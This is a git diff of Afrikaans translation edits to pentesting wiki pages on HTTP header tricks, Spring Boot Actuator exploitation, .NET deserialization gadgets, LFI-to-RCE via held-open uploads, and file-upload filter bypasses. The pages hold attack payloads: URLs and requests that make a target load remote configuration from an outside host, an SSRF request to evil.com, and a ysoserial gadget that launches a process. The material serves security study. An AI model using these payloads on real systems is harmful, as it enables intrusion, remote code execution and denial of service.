``` -Binne hierdie tipe lĂȘers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die akrediteerbes wat die webdav bediener gebruik om gebruikers te verifieer. +Binne hierdie tipe lĂȘers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die geloofsbriewe wat die webdav-bediener gebruik om gebruikers te verifieer. Jy kan probeer om hulle te **breek**, of om **meer** by te voeg as jy om een of ander rede die **webdav** bediener wil **toegang**. ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -Om te kyk of die nuwe geloofsbriewe werk, kan jy doen: +Om te kontroleer of die nuwe geloofsbriewe werk, kan jy doen: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index f9f46d7d7..932811e46 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -9,7 +9,7 @@ ## Koppe om Ligging te Verander -Herskryf **IP bron**: +Herschryf **IP bron**: - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -28,14 +28,14 @@ Herskryf **IP bron**: - `Via: 1.0 fred, 1.1 127.0.0.1` - `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe) -Herskryf **ligging**: +Herschryf **ligging**: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` ## Hop-by-Hop koppe -'n Hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop. +'n hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop. - `Connection: close, X-Forwarded-For` @@ -76,7 +76,7 @@ Herskryf **ligging**: ## Voorwaardes -- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop\*\*`Last-Modified`\*\* 'n ander tyd bevat. +- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoordkop **`Last-Modified`** 'n ander tyd bevat. - Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord. - Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is. @@ -85,15 +85,15 @@ Herskryf **ligging**: - **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: ` - **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder. - Dit kan nuttig wees om 'n antwoord met arbitrĂȘre weerkaatste javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, moet jy hierdie koppe in die versoek inspuit. -- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawes van die hulpbron afgelaai word. -- **`Content-Range`**: Dui aan waar in 'n volle liggaamsboodskap 'n gedeeltelike boodskap behoort. +- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word. +- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort. ## Boodskap liggaam inligting -- **`Content-Length`:** Die grootte van die hulpbron, in desimale aantal bytes. +- **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes. - **`Content-Type`**: Dui die media tipe van die hulpbron aan -- **`Content-Encoding`**: Gebruik om die kompressie-algoritme aan te dui. -- **`Content-Language`**: Beskryf die menslike taal/tale wat vir die gehoor bedoel is, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal. +- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui. +- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal. - **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data. Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\ @@ -109,11 +109,11 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan ## Beheer - **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun. -- **`Expect`**: Gebruik deur die kliĂ«nt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliĂ«nt van plan is om 'n groot datapel te stuur. Die kliĂ«nt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. +- **`Expect`**: Gebruik deur die kliĂ«nt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliĂ«nt van plan is om 'n groot data payload te stuur. Die kliĂ«nt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. ## Aflaaie -- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lĂȘer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld: +- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lĂȘer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai) behandel moet word. Byvoorbeeld: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -168,7 +168,7 @@ Access-Control-Allow-Credentials: true ``` ### **Cross-Origin Embedder Policy (COEP) en Cross-Origin Opener Policy (COOP)** -COEP en COOP is noodsaaklik vir die aktivering van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik. +COEP en COOP is noodsaaklik vir die inskakeling van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik. ``` Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin-allow-popups diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 2e7273f1a..0a04a522c 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**Van** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Exploiting Spring Boot Actuators -**Kyk die oorspronklike pos van** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Belangrike Punten:** +### **Key Points:** - Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs `/health` en `/info` nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit. - Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`. -- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl dit in 2.x onder die `/actuator/` basis pad is. +- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basis pad is. -### **Eksploitasiemetodes:** +### **Exploitation Techniques:** -1. **AfgeleĂ« Kode-uitvoering via '/jolokia'**: +1. **Remote Code Execution via '/jolokia'**: - Die `/jolokia` actuator eindpunt blootstel die Jolokia Biblioteek, wat HTTP-toegang tot MBeans toelaat. -- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies van 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of AfgeleĂ« Kode-uitvoering via vervaardigde XML konfigurasies. -- Voorbeeld van 'n eksploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Konfigurasie-wijziging via '/env'**: +- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies. +- Voorbeeld van 'n uitbuit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die wijziging van omgewings eienskappe toe. +- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die aanpassing van omgewings eienskappe toe. - Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL. -- Voorbeeld van 'n eksploit POST versoek: +- Voorbeeld van 'n uitbuit POST versoek: ``` POST /env HTTP/1.1 @@ -40,27 +40,25 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Ander Nuttige Instellings**: -- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie eksploit, soos SQL-inspuiting of die verandering van databasisverbindingstrings. +3. **Other Useful Settings**: +- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings. -### **Addisionele Inligting:** +### **Additional Information:** - 'n Omvattende lys van standaard actuators kan [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) gevind word. -- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendomswysiging, maar die algemene konsep bly dieselfde. +- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde. -### **Verwante Onderwerpe:** +### **Related Topics:** 1. **Env + H2 RCE**: - Besonderhede oor die uitbuiting van die kombinasie van `/env` eindpunt en H2 databasis kan [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) gevind word. -2. **SSRF op Spring Boot Deur Onkorrekte Padnaam Interpretasie**: - -- Die Spring raamwerk se hantering van matriksparameters (`;`) in HTTP padname kan uitgebuit word vir Server-Side Request Forgery (SSRF). -- Voorbeeld van 'n eksploit versoek: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Die hantering van matriksparameters (`;`) in HTTP padname deur die Spring raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF). +- Voorbeeld van 'n uitbuit versoek: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 79056f40a..f5432adda 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -Hierdie pos is toegewy aan **om te verstaan hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget. +Hierdie pos is toegewy aan **die begrip van hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget. ## ObjectDataProvider Gadget Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\ -Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrĂȘre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrĂȘre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrĂȘre funksie** van die arbitrĂȘre objek wat met die arbitrĂȘre parameters verklaar is, aan te roep.\ +Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrĂȘre objek te wrap**, gebruik _**MethodParameters**_ om **arbitrĂȘre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrĂȘre funksie** van die arbitrĂȘre objek wat met die arbitrĂȘre parameters verklaar is, aan te roep.\ Daarom sal die arbitrĂȘre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.** ### **Hoe is dit moontlik** @@ -18,7 +18,7 @@ Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas ![](<../../images/image (427).png>) -Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen: +Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen: ![](<../../images/image (319).png>) @@ -26,13 +26,13 @@ Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` w ![](<../../images/image (345).png>) -Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer: +Let daarop dat aan die einde van die kode `this.QueryWorke(null)` aangeroep word. Kom ons kyk wat dit uitvoer: ![](<../../images/image (596).png>) Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit toon die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan** dit is die lyn waar die **metode stel aangeroep word**. -As jy wil kyk dat net deur die _**MethodName**_\*\* in te stel, dit uitgevoer sal word\*\*, kan jy hierdie kode uitvoer: +As jy wil kyk dat net deur die _**MethodName**_** in te stel, dit uitgevoer sal word**, kan jy hierdie kode uitvoer: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,10 +56,10 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P ## ExpandedWrapper -Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (byvoorbeeld `Process`). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat ingepak is** in die _ObjectDataProvider_ instansie (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Hierdie klas laat jou toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\ -Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om **\_ObjectDataProvider**_\*\* binne 'n \*\*_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**. +Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **\_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**. Jy kan hierdie wrapper met die volgende kode nagaan: ```java @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -In hierdie kode kan jy **die eksploit toets**, net dit uitvoer en jy sal sien dat 'n kalkuleerder uitgevoer word: +In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word: ```java using System; using System.Text; diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index c53dda1dc..a561afe1d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Basiese Inligting +## Basic Information -Deur die standaard wanneer 'n lĂȘer na PHP opgelaai word (selfs al verwag dit nie), sal dit 'n tydelike lĂȘer in `/tmp` genereer met 'n naam soos **`php[a-zA-Z0-9]{6}`**, alhoewel ek sommige docker beelde gesien het waar die gegenereerde lĂȘers geen syfers bevat nie. +Standaard, wanneer 'n lĂȘer na PHP opgelaai word (selfs al verwag dit nie), sal dit 'n tydelike lĂȘer in `/tmp` genereer met 'n naam soos **`php[a-zA-Z0-9]{6}`**, alhoewel ek sommige docker beelde gesien het waar die gegenereerde lĂȘers geen syfers bevat nie. In 'n plaaslike lĂȘerinvoeging, **as jy daarin slaag om daardie opgelaaide lĂȘer in te sluit, sal jy RCE kry**. @@ -17,29 +17,29 @@ Ook, die **aantal potensiĂ«le lĂȘernames is 62\*62\*62\*62\*62\*62 = 56800235584 ### Ander tegnieke -Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie kan as jy net die laaste deel van die pad beheer nie), die pad van die lĂȘer bekend te maak, die verwagte lĂȘers te misbruik, of **PHP te laat ly aan 'n segmentasiefout sodat opgelaaide tydelike lĂȘers nie verwyder word nie**.\ -Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nul dag te vind**. +Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie in staat wees as jy net die laaste deel van die pad beheer nie), die pad van die lĂȘer openbaar, die verwagte lĂȘers misbruik, of **maak PHP ly aan 'n segmentasiefout sodat opgelaaide tydelike lĂȘers nie verwyder word nie**.\ +Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nuldag te vind**. ### Ewige wag tegniek -In hierdie tegniek **het ons net 'n relatiewe pad te beheer**. As ons daarin slaag om lĂȘers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hĂȘ om **brute-force opgelaaide lĂȘers** en **te vind** enige van die opgelaaide. +In hierdie tegniek **het ons net 'n relatiewe pad nodig om te beheer**. As ons daarin slaag om lĂȘers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hĂȘ om **brute-force opgelaaide lĂȘers** en **vind** enige van die opgelaaide. **Voordele van hierdie tegniek**: - Jy moet net 'n relatiewe pad binne 'n insluiting beheer - Vereis nie nginx of 'n onverwagte vlak van toegang tot log lĂȘers nie -- Vereis nie 'n 0 dag om 'n segmentasiefout te veroorsaak nie -- Vereis nie 'n pad bekendmaking nie +- Vereis nie 'n 0-dag om 'n segmentasiefout te veroorsaak nie +- Vereis nie 'n pad openbaar nie Die **hoofprobleme** van hierdie tegniek is: - 'n Spesifieke lĂȘer(s) moet teenwoordig wees (daar mag meer wees) -- Die **insane** hoeveelheid potensiĂ«le lĂȘernames: **56800235584** +- Die **mal** hoeveelheid potensiĂ«le lĂȘernames: **56800235584** - As die bediener **nie syfers gebruik nie** is die totale potensiĂ«le hoeveelheid: **19770609664** - Standaard kan **slegs 20 lĂȘers** in 'n **enkele versoek** opgelaai word. - Die **maksimum aantal parallelle werkers** van die gebruikte bediener. -- Hierdie limiet saam met die vorige kan hierdie aanval te lank laat duur -- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodmaak sonder om die tydelike opgelaaide lĂȘers te verwyder, anders sal dit ook 'n pyn wees +- Hierdie limiet saam met die vorige kan maak dat hierdie aanval te lank duur +- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodgemaak word sonder om die tydelike opgelaaide lĂȘers te verwyder, anders sal dit ook 'n pyn wees So, hoe kan jy **maak dat 'n PHP insluiting nooit eindig nie**? Net deur die lĂȘer **`/sys/kernel/security/apparmor/revision`** in te sluit (**nie beskikbaar in Docker houers** ongelukkig...). @@ -65,20 +65,20 @@ Kom ons doen 'n bietjie wiskunde: > [!WARNING] > Let daarop dat ons in die vorige voorbeeld **heeltemal ander kliĂ«nte DoSing**! -As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (helfte van die maksimum getal). Ons kan `3999*20 = 79980` **lĂȘers** skep en die **getal** sou **verminder** tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans). +As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (halfpad na die maksimum getal). Ons kan `3999*20 = 79980` **lĂȘers** skep en die **getal** sou **verminder** tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans). ## PHP-FMP -As die **webblad** **PHP-FMP** gebruik in plaas van die gewone php-mod vir apache om PHP-skripte uit te voer (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter. +As die **webblad** in plaas van die gewone php-mod vir apache om PHP-skripte uit te voer **PHP-FMP** gebruik (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter. PHP-FMP laat toe om die **parameter** **`request_terminate_timeout`** in **`/etc/php//fpm/pool.d/www.conf`** te **konfigureer**.\ -Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **versoek aan PHP moet beĂ«indig** (oneindig per standaard, maar **30s as die param nie kommentaar is nie**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **doodgemaak**. Dit beteken, dat as die versoek tydelike lĂȘers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lĂȘers nie verwyder gaan word** nie. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lĂȘers genereer** wat nie verwyder gaan word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS aan die platform verminder deur al die verbindings te verbruik. +Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **die versoek aan PHP moet beĂ«indig** (oneindig per standaard, maar **30s as die parameter ontcommentaar is**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **gekill**. Dit beteken, dat as die versoek tydelike lĂȘers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lĂȘers nie verwyder gaan word**. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lĂȘers genereer** wat nie verwyder sal word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS op die platform verminder deur al die verbindings te verbruik. -So, om **DoS** te **vermy**, kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom, die aantal **tydelike lĂȘers** wat per sekonde gegenereer kan word is `100*20/30 = 66.67`. +So, om **DoS** te **vermy**, kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom is die aantal **tydelike lĂȘers** wat per **sekonde** gegenereer kan word `100*20/30 = 66.67`. Dan, om **10000 lĂȘers** te genereer, sal 'n aanvaller nodig hĂȘ: **`10000/66.67 = 150s`** (om **100000 lĂȘers** te genereer, sal die tyd **25min** wees). -Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. \*\*\*\* Veronderstel 'n spoed van 300 req/s, die tyd wat nodig is om dit te ontgin is die volgende: +Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. As ons 'n spoed van 300 req/s veronderstel, is die tyd wat nodig is om dit te ontgin soos volg: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 ure** (50% kans in 2.63h) - (met 100000 lĂȘers) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ure** (50% kans in 0.263h) @@ -88,10 +88,10 @@ Ja, dit is moontlik om 100000 tydelike lĂȘers in 'n EC2 medium-grootte instansie
> [!WARNING] -> Let daarop dat dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit** om die tydsduur te aktiveer, sodat dit in 'n ewige insluitingslus ingaan. +> Let daarop dat dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit** om die tydsbeperking te aktiveer, sodat dit in 'n ewige insluitingslus ingaan. ## Nginx -Dit lyk of Nginx standaard **512 parallel verbindings** terselfdertyd ondersteun (en hierdie getal kan verbeter word). +Dit lyk of Nginx standaard **512 parallel verbindings** terselfdertyd ondersteun (en hierdie getal kan verbeter word). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 038c5eff9..ce73673e4 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,8 +1,8 @@ -# LĂȘer Laai +# File Upload {{#include ../../banners/hacktricks-training.md}} -## LĂȘer Laai Algemene Metodologie +## File Upload General Methodology Ander nuttige uitbreidings: @@ -15,9 +15,9 @@ Ander nuttige uitbreidings: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Oorbrug lĂȘer uitbreidings kontrole +### Bypass file extensions checks -1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._ +1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._ 2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_ - _file.png.php_ - _file.png.Php5_ @@ -43,15 +43,15 @@ Ander nuttige uitbreidings: 5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer): -- _bv: file.php.png_ -7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate een. As gevolg hiervan sal 'n **leĂ« lĂȘer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lĂȘer kan later met ander tegnieke soos die gebruik van sy kort lĂȘernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leĂ« lĂȘers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”) 